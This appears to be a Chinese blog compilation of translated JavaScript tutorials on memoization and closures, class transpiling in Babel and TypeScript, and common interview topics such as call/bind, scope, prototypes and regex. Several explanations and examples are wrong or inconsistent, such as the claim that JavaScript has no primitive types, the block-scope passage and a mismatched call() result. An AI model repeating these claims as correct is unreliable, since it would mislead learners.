    console.log(a);
  }
  return bar;
}
var baz = foo();
baz();//2

注意函数 foo 如何返回另一个函数 bar。这里我们执行函数 foo 并将返回值赋给baz。但是在本例中,我们有一个返回函数,因此,baz 现在持有对 foo 中定义的bar 函数的引用。

最有趣的是,当我们在 foo 的词法作用域之外执行函数 baz 时,仍然会得到 a 的值,这怎么可能呢?😕

请记住,由于闭包的存在,bar 总是可以访问 foo 中的变量(继承的特性),即使它是在 foo 的作用域之外执行的。

案例研究:斐波那契数列

斐波那契数列是什么?

斐波那契数列是一组数字,以1 或 0 开头,后面跟着1,然后根据每个数字等于前两个数字之和规则进行。如

0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, …

或者

1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, …

挑战:编写一个函数返回斐波那契数列中的** n **元素,其中的序列是:

[1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, …]

知道每个值都是前两个值的和,这个问题的递归解是:

function fibonacci(n) {
  if (n <= 1) {
    return 1
  }
  return fibonacci(n - 1) + fibonacci(n - 2)
}

确实简洁准确!但是,有一个问题。请注意,当 n 的值到终止递归之前,需要做大量的工作和时间,因为序列中存在对某些值的重复求值。

看看下面的图表,当我们试图计算 fib(5)时,我们注意到我们反复地尝试在不同分支的下标 0,1,2,3 处找到 Fibonacci 数,这就是所谓的冗余计算,而这正是缓存所要消除的。

图片描述

function fibonacci(n, memo) {
  memo = memo || {}
  if (memo[n]) {
    return memo[n]
  }
  if (n <= 1) {
    return 1
  }

  return memo[n] = fibonacci(n-1, memo) + fibonacci(n-2, memo)
}

在上面的代码片段中,我们调整函数以接受一个可选参数 memo。我们使用 memo 对象作为缓存来存储斐波那契数列,并将其各自的索引作为键,以便在执行过程中稍后需要时检索它们。

memo = memo || {}

在这里,检查是否在调用函数时将 memo 作为参数接收。如果有,则初始化它以供使用;如果没有,则将其设置为空对象。

if (memo[n]) {
  return memo[n]
}

接下来,检查当前键 n 是否有缓存值,如果有,则返回其值。

和之前的解一样,我们指定了 n 小于等于 1 时的终止递归。

最后,我们递归地调用n值较小的函数,同时将缓存值(memo)传递给每个函数,以便在计算期间使用。这确保了在以前计算并缓存值时,我们不会第二次执行如此昂贵的计算。我们只是从 memo 中取回值。

注意,我们在返回缓存之前将最终结果添加到缓存中。

使用 JSPerf 测试性能

可以使用些链接来性能测试。在那里,我们运行一个测试来评估使用这两种方法执行fibonacci(20) 所需的时间。结果如下:

图片描述

哇! ! !这让人很惊讶,使用缓存的 fibonacci 函数是最快的。然而,这一数字相当惊人。它执行 126,762 ops/sec,这远远大于执行 1,751 ops/sec 的纯递归解决方案,并且比较没有缓存的递归速度大约快 99%。

注:“ops/sec”表示每秒的操作次数,就是一秒钟内预计要执行的测试次数。

现在我们已经看到了缓存在函数级别上对应用程序的性能有多大的影响。这是否意味着对于应用程序中的每个昂贵函数,我们都必须创建一个修改后的变量来维护内部缓存?

不,回想一下,我们通过从函数返回函数来了解到,即使在外部执行它们,它们也会导致它们继承父函数的范围,这使得可以将某些特征和属性从封闭函数传递到返回的函数。

使用函数的方式

在下面的代码片段中,我们创建了一个高阶的函数 memoizer。有了这个函数,将能够轻松地将缓存应用到任何函数。

function memoizer(fun) {
  let cache = {}
  return function (n) {
    if (cache[n] != undefined) {
      return cache[n]
    } else {
      let result = fun(n)
      cache[n] = result
      return result
    }
  }
}

上面,我们简单地创建一个名为 memoizer 的新函数,它接受将函数 fun 作为参数进行缓存。在函数中,我们创建一个缓存对象来存储函数执行的结果,以便将来使用。

memoizer 函数中,我们返回一个新函数,根据上面讨论的闭包原则,这个函数无论在哪里执行都可以访问 cache

在返回的函数中,我们使用 if..else 语句检查是否已经有指定键(参数) n 的缓存值。如果有,则取出并返回它。如果没有,我们使用函数来计算结果,以便缓存。然后,我们使用适当的键 n 将结果添加到缓存中,以便以后可以从那里访问它。最后,我们返回了计算结果。

很顺利!

要将 memoizer 函数应用于最初递归的 fibonacci 函数,我们调用 memoizer 函数,将 fibonacci 函数作为参数传递进去。

const fibonacciMemoFunction = memoizer(fibonacciRecursive)

测试 memoizer 函数

当我们将 memoizer 函数与上面的例子进行比较时,结果如下:

图片描述

memoizer 函数以 42,982,762 ops/sec 的速度提供了最快的解决方案,比之前考虑的解决方案速度要快 100%。

关于缓存,我们已经说明什么是缓存 、为什么要有缓存和如何实现缓存。现在我们来看看什么时候使用缓存。

何时使用缓存

当然,使用缓存效率是级高的,你现在可能想要缓存所有的函数,这可能会变得非常无益。以下几种情况下,适合使用缓存:

  • 对于昂贵的函数调用,执行复杂计算的函数。
  • 对于具有有限且高度重复输入范围的函数。
  • 用于具有重复输入值的递归函数。
  • 对于纯函数,即每次使用特定输入调用时返回相同输出的函数。

缓存库

总结

使用缓存方法 ,我们可以防止函数调用函数来反复计算相同的结果,现在是你把这些知识付诸实践的时候了。

你的点赞是我持续分享好东西的动力,欢迎点赞!

一个笨笨的码农,我的世界只能终身学习!

更多内容请关注公众号《大迁世界》

15.JavaScript是如何工作的:深入类和继承内部原理+Babel和 TypeScript 之间转换

现在构建任何类型的软件项目最流行的方法这是使用类。在这篇文章中,探讨用 JavaScript 实现类的不同方法,以及如何构建类的结构。首先从深入研究原型工作原理,并分析在流行库中模拟基于类的继承的方法。 接下来是讲如何将新的语法转制为浏览器识别的语法,以及在 Babel 和 TypeScript 中使用它来引入ECMAScript 2015类的支持。最后,将以一些在 V8 中如何本机实现类的示例来结束本文。

概述

在 JavaScript 中,没有基本类型,创建的所有东西都是对象。例如,创建一个新字符串:

const name = "SessionStack";

接着在新创建的对象上调用不同的方法:

console.log(a.repeat(2)); // SessionStackSessionStack
console.log(a.toLowerCase()); // sessionstack

与其他语言不同,在 JavaScript 中,字符串或数字的声明会自动创建一个封装值的对象,并提供不同的方法,甚至可以在基本类型上执行这些方法。

另一个有趣的事实是,数组等复杂类型也是对象。如果检查数组实例的类型,你将看到它是一个对象。列表中每个元素的索引只是对象中的属性。当通过数组中的索引访问一个元素时,实际上是访问了数组对象的一个 key 值,并得到 key 对应的值。从数据的存储方式看时,这两个定义是相同的:

let names = [“SessionStack”];

let names = {
  “0”: “SessionStack”,
  “length”: 1
}

因此,访问数组中的元素和对象的属性耗时是相同的。我(本文作者)通过多次的努力才发现这一点的。就是不久,我(本文作者)不得不对项目中的一段关键代码进行大规模优化。在尝试了所有简单的可选项之后,最后用数组替换了项目中使用的所有对象。理论上,访问数组中的元素比访问哈希映射中的键要快且对性能没有任何影响。在 JavaScript中,这两种操作都是作为访问哈希映射中的键来实现的,并且花费相同的时间。

使用原型模拟类

一般的想到对象时,首先想到的是类。我们大都习惯于根据类及其之间的关系来构建应用程序。尽管 JavaScript 中的对象无处不在,但该语言并不使用传统的基于类的继承,相反,它依赖于原型来实现。

image

在 JavaScript 中,每个对象通过原型连接着另一个对象。当尝试访问对象上的属性或方法时,首先从对象本身开始查找,如果没有找到任何内容,则在对象的原型中继续查找。

从一个简单的例子开始:

function Component(content) {
  this.content = content;
}

Component.prototype.render = function() {
    console.log(this.content);
}

Component 的原型上添加 render 方法,因为希望 Component 的每个实例都能有 render 方法。Component 任何实例调用此方法时,首先将在实例本身中执行查找,如果没有,接着从它的原型中执行查找。

image

接着引入一个新的子类:

function InputField(value) {
    this.content = `<input type="text" value="${value}" />`;
}

如果想要 InputField 继承 Component 并能够调用它的 render 方法,就需要更改它的原型。当对子类的实例调用 render 方法时,不希望在它的空原型中查找,而应该从从 Component 上的原型查找:

InputField.prototype = Object.create(new Component());

通过这种方式,就可以在 Component 的原型中找到 render 方法。为了实现继承,需要将 InputField 的原型连接到 Component 的实例上,大多数库都使用 Object.setPrototypeOf 方法来实现这一点。

image

然而,这不是唯一一件事要做的,每次继承一个类,需要:

  • 将子类的原型指向父类的实例。

  • 在子类构造函数中调用的父构造函数,完成父构造函数中的初始化逻辑。

如上所述,如果希望继承基类的的所有特性,那么每次都需要执行这个复杂的逻辑。当创建多个类时,将逻辑封装在可重用函数中是有意义的。这就是开发人员最初解决基于类继承的方法——通过使用不同的库来模拟它。

这些解决方案越来越流行,造成了 JS 中明显缺少了一些类型的现象。这就是为什么在 ECMAScript 2015 的第一个主要版本中引入了类,继承的新语法。

类的转换

当 ES6 或 ECMAScript 2015 中的新特性被提出时,JavaScript 开发人员不能等待所有引擎和浏览器都开始支持它们。为实现浏览器能够支持新的特性一个好方法是通过 转换 (Transpiling) ,它允许将 ECMAScript 2015 中编写的代码转换成任何浏览器都能理解的 JavaScript 代码,当然也包括使用基于类的继承编写类的转换功能。

image

Babel

最流行的 JavaScript 编译器之一就是 Babel,宏观来说,它分3个阶段运行代码:解析(parsing),转译(transforming),生成(generation),来看看它是如何转换的:

class Component {
  constructor(content) {
    this.content = content;
  }

  render() {
  	console.log(this.content)
  }
}

const component = new Component('SessionStack');
component.render();

以下是 Babel 转换后的样式:

var Component = function () {
  function Component(content) {
    _classCallCheck(this, Component);
    this.content = content;
  }

  _createClass(Component, [{
    key: 'render',
    value: function render() {
      console.log(this.content);
    }
  }]);

  return Component;
}();

如上所见,转换后的代码就可在任何浏览器执行了。 此外,还添加了一些功能, 这些是 Babel 标准库的一部分。

_classCallCheck_createClass 作为函数包含在编译文件中。

  • _classCallCheck 函数的作用在于确保构造方法永远不会作为函数被调用,它会评估函数的上下文是否为 Component 对象的实例,以此确定是否需要抛出异常。

  • _createClass 用于处理创建对象属性,函数支持传入构造函数与需定义的键值对属性数组。函数判断传入的参数(普通方法/静态方法)是否为空对应到不同的处理流程上。

为了探究继承的实现原理,分析继承的 ComponentInputField 类。。

class InputField extends Component {
    constructor(value) {
        const content = `<input type="text" value="${value}" />`;
        super(content);
    }
}

使用 Babel 处理上述代码,得到如下代码:

 var InputField = function (_Component) {
 _inherits(InputField, _Component);

 function InputField(value) {
    _classCallCheck(this, InputField);

    var content = '<input type="text" value="' + value + '" />';
    return _possibleConstructorReturn(this, (InputField.__proto__ || Object.getPrototypeOf(InputField)).call(this, content));
  }

  return InputField;
}(Component);

在本例中, Babel 创建了 _inherits 函数帮助实现继承。

以 ES6 转 ES5 为例,具体过程:

  1. 编写ES6代码
  2. babylon 进行解析
  3. 解析得到 AST
  4. plugin 用 babel-traverse 对 AST 树进行遍历转译
  5. 得到新的 AST树
  6. 用 babel-generator 通过 AST 树生成 ES5 代码

Babel 中的抽象语法树

AST 包含多个节点,且每个节点只有一个父节点。 在 Babel 中,每个形状树的节点包含可视化类型、位置、在树中的连接等信息。 有不同类型的节点,如 stringnumbersnull等,还有用于流控制(if)和循环(for,while)的语句节点。 并且还有一种特殊类型的节点用于类。它是基节点类的一个子节点,通过添加字段来扩展它,以存储对基类的引用和作为单独节点的类的主体。

把下面的代码片段转换成一个抽象语法树:

class Component {
  constructor(content) {
    this.content = content;
  }

  render() {
    console.log(this.content)
  }
}

下面是以下代码片段的抽象语法树:

image

Babel 的三个主要处理步骤分别是: 解析(parse),转换 (transform),生成 (generate)。

解析

将代码解析成抽象语法树(AST),每个js引擎(比如Chrome浏览器中的V8引擎)都有自己的AST解析器,而Babel是通过 Babylon 实现的。在解析过程中有两个阶段: 词法分析 和 语法分析 ,词法分析阶段把字符串形式的代码转换为 令牌 (tokens)流,令牌类似于AST中节点;而语法分析阶段则会把一个令牌流转换成 AST的形式,同时这个阶段会把令牌中的信息转换成AST的表述结构。

转换

在这个阶段,Babel接受得到AST并通过babel-traverse对其进行 深度优先遍历,在此过程中对节点进行添加、更新及移除操作。这部分也是Babel插件介入工作的部分。

生成

将经过转换的AST通过babel-generator再转换成js代码,过程就是 深度优先遍历整个AST,然后构建可以表示转换后代码的字符串。

在上面的示例中,首先生成两个 MethodDefinition 节点的代码,然后生成类主体节点的代码,最后生成类声明节点的代码。

使用 TypeScript 进行转换

另一个利用转换的流行框架是 TypeScript。它引入了一种用于编写 JavaScript 应用程序的新语法,该语法被转换为任何浏览器或引擎都可以执行的 EMCAScript 5。下面是用 Typescript 实现 Component :

class Component {
    content: string;
    constructor(content: string) {
        this.content = content;
    }
    render() {
        console.log(this.content)
    }
}

转成抽象语法树如下:

image

Typescript 还支持继承:

class InputField extends Component {
    constructor(value: string) {
        const content = `<input type="text" value="${value}" />`;
        super(content);
    }
}

以下是转换结果:

var InputField = /** @class */ (function (_super) {
    __extends(InputField, _super);
    function InputField(value) {
        var _this = this;
        var content = "<input type=\"text\" value=\"" + value + "\" />";
        _this = _super.call(this, content) || this;
        return _this;
    }
    return InputField;
}(Component));

最终的结果还是 ECMAScript 5 代码,其中包含 TypeScript 库中的一些函数。封 __extends 中的逻辑与在第一节中讨论的逻辑相同。

随着 Babel 和 TypeScript 被广泛采用,标准类和基于类的继承成为了构造 JavaScript 应用程序的标准方式,这推动了在浏览器中引入对类的原生支持。

类的原生支持

2014年,Chrome 引入了对 类的原生支持,这允许在不需要任何库或转换器的情况下执行类声明语法。

image

本地实现类的过程就是我们所说的语法糖。这只是一种奇特的语法,它可以编译成语言中已经支持的相同的原语。可以使用新的易于使用的类定义,但是它仍然会创建构造函数和分配原型。

图片描述

V8的支持

撯着,看看在 V8 中对 ECMAScript 2015 类的本机支持的工作原理。正如在 前一篇文章 中所讨论的,首先必须将新语法解析为有效的 JavaScript 代码并添加到 AST 中,因此,作为类定义的结果,一个具有ClassLiteral 类型的新节点被添加到树中。

这个节点存储了一些信息。首先,它将构造函数作为一个单独的函数保存,还保存类属性的列表,这些属性包括 方法、getter、setter、公共字段或私有字段。该节点还存储对父类的引用,该类将继承父类,而父类将再次存储构造函数、属性列表和父类。

一旦这个新的类 ClassLiteral转换成代码,它又被转换成函数和原型。


原文:

https://blog.sessionstack.com/how-javascript-works-the-internals-of-classes-and-inheritance-transpiling-in-babel-and-113612cdc220

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Javascript 面试的完美指南(开发者视角)

为了说明 JS 面试的复杂性,首先,请尝试给出以下结果:

onsole.log(2.0 == “2” == new Boolean(true) == “1”)

十有八九的会给出false, 其实运行结果是true,原因请看 这里

1) 理解 JS 函数

函数是 JavaScript 的精华,是 JS 一等公民。JS 函数不仅仅是一个普通的函数,与其他语言不同,JS 函数可以赋值给变量,作为参数传递给另一个函数,也可以从另一个函数返回。

console.log(square(5));
/* ... */
function square(n) { return n * n; }

以为代码很简单,大家应该都知道会打印:25。接着看一个:

console.log(square(5));
 
var square = function(n) { 
  return n * n; 
}

乍一看,你可能会忍不住说也打印了 25。但很不幸,会报错:

TypeError: square is not a function

在 JavaScript 中,如果将函数定义为变量,变量名将被提升,是 JS 执行到它的定义才能被访问。

你可能在一些代码中频繁的见到如下代码。

var simpleLibrary = function() {
   var simpleLibrary = {
        a,
        b,
        add: function(a, b) {
            return a + b;
        },
        subtract: function(a, b) {
            return a - b;   
        }
   }
  return simpleLibrary;
}();

为什么会做这种奇怪的事情? 这是因为一个函数变量中变量和函数被分装,可以避免全局变量污染。 JQueryLodash 的库采用这种技术提供 $_

2) 理解 bind、apply 和 call

你可能在所有常用库中看到过这三个函数。它们允许局部套用, 我们可以把功能组合到不同的函数。一个优秀的js开发者可以随时告诉你关于这三个函数。

基本上,这些是改变行为以实现某些功能的原型方法,根据 JS 开发人员 Chad 的说法,用法如下:

希望使用某个上下文调用该函数,请使用 .bind() ,这在事件中很有用。 如果要立即调用函数,请使用.call().apply(),并修改上下文。

举例说明

让我们看看上面的陈述是什么意思! 假设你的数学老师要求你创建一个库并提交。你写了一个抽象的库,它可以求出圆的面积和周长:

var mathLib = {
    pi: 3.14,
    area: function(r) {
        return this.pi * r * r;
    },
    circumference: function(r) {
        return 2 * this.pi * r;
    }
};

提交后,老师调用了它:

mathLib.area(2);
12.56

老师发现他给你要求是 pi 精确到小数点后 5 位数而你只精确到 2 位, 现在由于最后期限已过你没有机会提交库。 这里 JS的 call 函数可以帮你, 只需要调用你的代码如下:

mathLib.area.call({pi: 3.1159}, 2)

它会动态地获取新的 pi 值,结果如下:

12.56636

这时,注意到 call 函数具有两个参数:

  • Context
  • 函数参数

area 函数中, 上下文是对象被关键词 this 代替,后面的参数作为函数参数被传递。 如下:

var cylinder = {
    pi: 3.14,
    volume: function(r, h) {
        return this.pi * r * r * h;
    }
};

调用方式如下:

cylinder.volume.call({pi: 3.14159}, 2, 6);
75.39815999999999

Apply 类似,只是函数参数作为数组传递。

cylinder.volume.apply({pi: 3.14159}, [2, 6]);
75.39815999999999

如果你会使用 call 你基本就会用 apply 了,反之亦然, 那 bind 的用法又是如何呢 ?

bind 将一个全新的 this 注入到指定的函数上,改变 this 的指向, 使用 bind 时,函数不会像 callapply 立即执行。

var newVolume = cylinder.volume.bind({pi: 3.14159});
newVolume(2,6); // Now pi is 3.14159

bind 用途是什么?它允许我们将上下文注入一个函数,该函数返回一个具有更新上下文的新函数。这意味着这个变量将是用户提供的变量,这在处理 JavaScript 事件时非常有用。

3) 理解 js 作用域(闭包)

JavaScript 的作用域是一个潘多拉盒子。从这一个简单的概念中,就可以构造出数百个难回答的面试问题。有三种作用域:

  • 全局作用域
  • 本地/函数作用域
  • 块级作用域(ES6引进)

全局作用域事例如下:

x = 10;
function Foo() {
  console.log(x); // Prints 10
}
Foo()

函数作用域生效当你定义一个局部变量时:

pi = 3.14;
function circumference(radius) {    
     pi = 3.14159;
     console.log(2 * pi * radius); // 打印 "12.56636" 不是 "12.56"
}
circumference(2);

ES16 标准引入了新的块作用域,它将变量的作用域限制为给定的括号块。

var a = 10;

function Foo() {
  if (true) {
    let a = 4;
  }

  alert(a); // alerts '10' because the 'let' keyword
}
Foo();

函数和条件都被视为块。以上例子应该弹出 4,因为 if 已执行。但 是ES6 销毁了块级变量的作用域,作用域进入全局。

现在来到神奇的作用域,可以使用闭包来实现,JavaScript 闭包是一个返回另一个函数的函数。

如果有人问你这个问题,编写一个输入一个字符串并逐次返回字符。 如果给出了新字符串,则应该替换旧字符串,类似简单的一个生成器。

 function generator(input) {
    var index = 0;
    return {
      next: function() {
        if (index < input.length) {
          index += 1;
          return input[index - 1];
        }
        return "";
      } 
    }
  }

执行如下:

var mygenerator = generator("boomerang");
mygenerator.next(); // returns "b"
mygenerator.next() // returns "o"
mygenerator = generator("toon");
mygenerator.next(); // returns "t"

在这里,作用域扮演着重要的角色。闭包是返回另一个函数并携带数据的函数。上面的字符串生成器适用于闭包。index 在多个函数调用之间保留,定义的内部函数可以访问在父函数中定义的变量。这是一个不同的作用域。如果在第二级函数中再定义一个函数,它可以访问所有父级变量。

4) this (全局域、函数域、对象域)

在 JavaScript 中,我们总是用函数和对象编写代码, 如果使用浏览器,则在全局上下文中它引用 window 对象。 我的意思是,如果你现在打开浏览器控制台并输入以下代码,输出结果为 true

this === window;

当程序的上下文和作用域发生变化时,this 也会发生相应的变化。现在观察 this 在一个局部上下文中:

function Foo(){
  console.log(this.a);
}
var food = {a: "Magical this"};
Foo.call(food); // food is this

思考一下,以下输出的是什么:

function Foo(){
    console.log(this); // 打印 {}?
}

因为这是一个全局对象,记住,无论父作用域是什么,它都将由子作用域继承。打印出来是 window 对象。上面讨论的三个方法实际上用于设置这个对象。

现在,this 的最后一个类型,在对象中的 this, 如下:

var person = {
    name: "Stranger",
    age: 24,
    get identity() {
        return {who: this.name, howOld: this.age};
    }
}

上述使用了 getter 语法,这是一个可以作为变量调用的函数。

person.identity; // returns {who: "Stranger", howOld: 24}

此时,this 实际上是指对象本身。正如我们前面提到的,它在不同的地方有不同的表现。

5) 理解对象 (Object.freeze, Object.seal)

通常对象的格式如下:

var marks = {physics: 98, maths:95, chemistry: 91};

它是一个存储键、值对的映射。 javascript 对象有一个特殊的属性,可以将任何东西存储为一个值。这意味着我们可以将一个列表、另一个对象、一个函数等存储为一个值。

可以用如下方式来创建对象:

var marks = {};
var marks = new Object();

可以使用 JSON.stringify() 将一个对象转制成字符串,也可以用 JSON.parse 在将其转成对象。

// returns "{"physics":98,"maths":95,"chemistry":91}"
JSON.stringify(marks);
// Get object from string
JSON.parse('{"physics":98,"maths":95,"chemistry":91}');

使用 Object.keys 迭代对象:

var highScere = 0;

for (i of Object.keys(marks)) {
  if (marks[i] > highScore)
    highScore = marks[i];
}

Object.values 以数组的方式返回对象的值。

对象上的其他重要函数有:

  • Object.prototype(object)
  • Object.freeze(function)
  • Object.seal(function)

Object.prototype 上提供了许多应用上相关的函数,如下:

Object.prototype.hasOwnProperty 用于检查给定的属性/键是否存在于对象中。

marks.hasOwnProperty("physics"); // returns true
marks.hasOwnProperty("greek"); // returns false

Object.prototype.instanceof 判断给定对象是否是特定原型的类型。

function Car(make, model, year) {
  this.make = make;
  this.model = model;
  this.year = year;
}
var newCar = new Car('Honda', 'City', 2007);
console.log(newCar instanceof Car); // returns true

使用 Object.freeze 可以冻结对象,以便不能修改对象现有属性。

var marks = {physics: 98, maths:95, chemistry: 91};
finalizedMarks = Object.freeze(marks);
finalizedMarks["physics"] = 86; // throws error in strict mode
console.log(marks); // {physics: 98, maths: 95, chemistry: 91}

在这里,试图修改冻结后的 physics 的值,但 JavaScript不允许这样做。我们可以使用 Object.isFrozen 来判断,给定对象是否被冻结:

Object.isFrozen(finalizedMarks); // returns true

Object.sealObject.freeze 略有不同。 Object.seal() 方法封闭一个对象,阻止添加新属性并将所有现有属性标记为不可配置。当前属性的值只要可写就可以改变。

var marks = {physics: 98, maths:95, chemistry: 91};
Object.seal(marks);
delete marks.chemistry; // returns false as operation failed
marks.physics = 95; // Works!
marks.greek = 86; // Will not add a new property

同样, 可以使用 Object.isSealed 判断对象是否被密封。

Object.isSealed(marks); // returns true

在全局对象函数上还有许多其他重要的函数/方法,在这里找到他们。

6) 理解原型继承

在传统 JavaScript 中,有一种伪装的继承概念,它是通过使用原型技术来实现的。在ES5、ES6中看到使用 new 的语法只是底层原型OOP的语法糖。创建类是使用 JavaScript 中的函数完成的。

var animalGroups = {
  MAMMAL: 1,
  REPTILE: 2,
  AMPHIBIAN: 3,
  INVERTEBRATE: 4
};
function Animal(name, type) {
  this.name = name;
  this.type = type;
}
var dog = new Animal("dog", animalGroups.MAMMAL);
var crocodile = new Animal("crocodile", animalGroups.REPTILE);

这里我们为类创建对象(使用 new 关键字),可以使用如下方式对类追加方法:

Animal.prototype.shout = function() {
  console.log(this.name+'is'+this.sound+'ing...');
}

这里你可能会有疑问。类中并没 sound 属性。是的,它打算由继承了上述类的子类传递。

JavaScript中, 如下实现继承:

function Dog(name, type) {
Animal.call(this, name, type);
this.sound = 'bow';
}

我定义了一个更具体的函数,叫做 Dog。在这里,为了继承 Animal 类,我需要call传递this和其他参数。使用如下方式来实例化一只德国牧羊犬

var pet = Dog("德国牧羊犬", animalGroups.MAMMAL);
console.log(pet); // returns Dog {name: "德国牧羊犬", type: 1, sound: "bow"}

我们没有在子函数中分配 nametype 属性,我们调用的是超级函数 Animal 并设置相应的属性。pet 具有父类的属性(name、type)。但是方法呢。他们也继承的吗? 来看看:

pet.shout(); // Throws error

为什么会这样? 之所以发生这种情况,是因为没有指定让 JavaScript来继承父类方法。 如何解决?

// Link prototype chains
Dog.prototype = Object.create(Animal.prototype);
var pet = new Dog("germanShepard", animalGroups.MAMMAL);
// Now shout method is available
pet.shout(); // 德国牧羊犬 bowing...

现在可以使用 shout 方法。 我们可以使用 object.constructor 函数检查 JavaScript 中给定对象的类 来看看 pet 是什么类:

pet.constructor; // returns Animal

这是模糊的,Animal 是一个父类。但是 pet 到底是什么类型的呢? pet 应该是 Dog 的类型。之所以是 Animal 类型,是因为 Dog 类的构造函数:

Dog.prototype.constructor; // returns Animal

它是 Animal 类型的。我们应该将它设置为 Dog 本身,这样类的所有实例(对象)才能给出正确的类名。

Dog.prototype.constructor = Dog;

关于原型继承, 我们应该记住以下几条:

  • 类属性使用 this 绑定
  • 类方法使用 prototype 对象来绑定
  • 为了继承属性, 使用 call 函数来传递 this
  • 为了继承方法, 使用 Object.create 连接父和子的原型
  • 始终将子类构造函数设置为自身,以获得其对象的正确类型

7)理解 callback 和 promise

回调是在 I/O 操作完成后执行的函数。一个耗时的I/O操作会阻塞代码, 因此在Python/Ruby不被允许。但是在 JavaScript中,由于允许异步执行,我们可以提供对异步函数的回调。这个例子是由浏览器到服务器的AJAX(XMLHettpRequest)调用,由鼠标、键盘事件生成。如下:

function reqListener () {
  console.log(this.responseText);
}

var req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "http://www.example.org/example.txt");
req.send();

这里的 reqListener 是一个回调函数,当成功响应 GET 请求时将执行该回调函数。

Promise 是回调函数的优雅的封装, 使得我们优雅的实现异步代码。在以下给出的这篇文章中讨论了很多 promise,这也是在 JS 中应该知道的重要部分。

Writing neat asynchronous Node JS code with Promises

8)理解正则表达

正则表达式有许多应用地方,处理文本、对用户输入执行规则等。JavaScript 开发人员应该知道如何执行基本正则表达式并解决问题。Regex 是一个通用概念,来看看如何从 JS 中做到这一点。

创建正则表达式,有如下两种方式:

var re = /ar/;
var re = new RegExp('ar'); 

上面的正则表达式是与给定字符串集匹配的表达式。定义正则表达式之后,我们可以尝试匹配并查看匹配的字符串。可以使用 exec 函数匹配字符串:

re.exec("car"); // returns ["ar", index: 1, input: "car"]
re.exec("cab"); // returns null

有一些特殊的字符类允许我们编写复杂的正则表达式。RegEx 中有许多类型的元素,其中一些如下:

  • 字符正则:\w-字母数字, \d- 数字, \D- 没有数字
  • 字符类正则:[x-y] x-y区间, [^x] 没有x
  • 数量正则:+ 至少一个、? 没或多个、* 多个
  • 边界正则,^ 开始、$ 结尾

例子如下:

/* Character class */

var re1 = /[AEIOU]/;
re1.exec("Oval"); // returns ["O", index: 0, input: "Oval"]
re1.exec("2456"); // null
var re2 = /[1-9]/;
re2.exec('mp4'); // returns ["4", index: 2, input: "mp4"]

/* Characters */

var re4 = /\d\D\w/;
re4.exec('1232W2sdf'); // returns ["2W2", index: 3, input: "1232W2sdf"]
re4.exec('W3q'); // returns null

/* Boundaries */

var re5 = /^\d\D\w/;
re5.exec('2W34'); // returns ["2W3", index: 0, input: "2W34"]
re5.exec('W34567'); // returns null
var re6 = /^[0-9]{5}-[0-9]{5}-[0-9]{5}$/;
re6.exec('23451-45242-99078'); // returns ["23451-45242-99078", index: 0, input: "23451-45242-99078"]
re6.exec('23451-abcd-efgh-ijkl'); // returns null

/* Quantifiers */

var re7 = /\d+\D+$/;
re7.exec('2abcd'); // returns ["2abcd", index: 0, input: "2abcd"]
re7.exec('23'); // returns null
re7.exec('2abcd3'); // returns null
var re8 = /<([\w]+).*>(.*?)<\/\1>/;
re8.exec('<p>Hello JS developer</p>'); //returns  ["<p>Hello JS developer</p>", "p", "Hello JS developer", index: 0, input: "<p>Hello JS developer</p>"]

有关 regex 的详细信息,可以看 这里

除了 exec 之外,还有其他函数,即 matchsearchreplace,可以使用正则表达式在另一个字符串中查找字符串,但是这些函数在字符串本身上使用。

"2345-678r9".match(/[a-z A-Z]/); // returns ["r", index: 8, input: "2345-678r9"]
"2345-678r9".replace(/[a-z A-Z]/, ""); // returns 2345-6789

Regex 是一个重要的主题,开发人员应该理解它,以便轻松解决复杂的问题。

9)理解 map、reduce 和 filter

函数式编程是当今的一个热门讨论话题。许多编程语言都在新版本中包含了函数概念,比如 lambdas(例如:Java >7)。在 JavaScrip t中,函数式编程结构的支持已经存在很长时间了。我们需要深入学习三个主要函数。数学函数接受一些输入和返回输出。纯函数都是给定的输入返回相同的输出。我们现在讨论的函数也满足纯度。

map

map 函数在 JavaScript 数组中可用,使用这个函数,我们可以通过对数组中的每个元素应用一个转换函数来获得一个新的数组。map 一般语法是:

arr.map((elem){
    process(elem)
    return processedValue
}) // returns new array with each element processed

假设,在我们最近使用的串行密钥中输入了一些不需要的字符,需要移除它们。此时可以使用 map 来执行相同的操作并获取结果数组,而不是通过迭代和查找来删除字符。

var data = ["2345-34r", "2e345-211", "543-67i4", "346-598"];
var re = /[a-z A-Z]/;
var cleanedData = data.map((elem) => {return elem.replace(re, "")});
console.log(cleanedData); // ["2345-34", "2345-211", "543-674", "346-598"]

map 接受一个作为参数的函数, 此函数接受一个来自数组的参数。我们需要返回一个处理过的元素, 并应用于数组中的所有元素。

reduce

reduce 函数将一个给定的列表整理成一个最终的结果。通过迭代数组执行相同的操作, 并保存中间结果到一个变量中。这里是一个更简洁的方式进行处理。js 的 reduce 一般使用语法如下:

arr.reduce((accumulator,
           currentValue,
           currentIndex) => {
           process(accumulator, currentValue)
           return intermediateValue/finalValue
}, initialAccumulatorValue) // returns reduced value

accumulator 存储中间值和最终值。currentIndexcurrentValue分别是数组中元素的 index 和 value。initialAccumulatorValueaccumulator 初始值。

reduce 的一个实际应用是将一个数组扁平化, 将内部数组转化为单个数组, 如下:

var arr = [[1, 2], [3, 4], [5, 6]];
var flattenedArray = [1, 2, 3, 4, 5, 6];

我们可以通过正常的迭代来实现这一点,但是使用 reduce,代码会更加简洁。

var flattenedArray = arr.reduce((accumulator, currentValue) => {
    return accumulator.concat(currentValue);
}, []); // returns [1, 2, 3, 4, 5, 6]

filter

filtermap 更为接近, 对数组的每个元素进行操作并返回另外一个数组(不同于 reduce 返回的值)。过滤后的数组可能比原数组长度更短,因为通过过滤条件,排除了一些我们不需要的。

filter 语法如下:

arr.filter((elem) => {
   return true/false
})

elem 是数组中的元素, 通过 true/false 表示过滤元素保存/排除。假设, 我们过滤出以 t 开始以 r 结束的元素:

var words = ["tiger", "toast", "boat", "tumor", "track", "bridge"]
var newData = words.filter((str) => {
    return str.startsWith('t') && str.endsWith('r');
})
newData // (2) ["tiger", "tumor"]

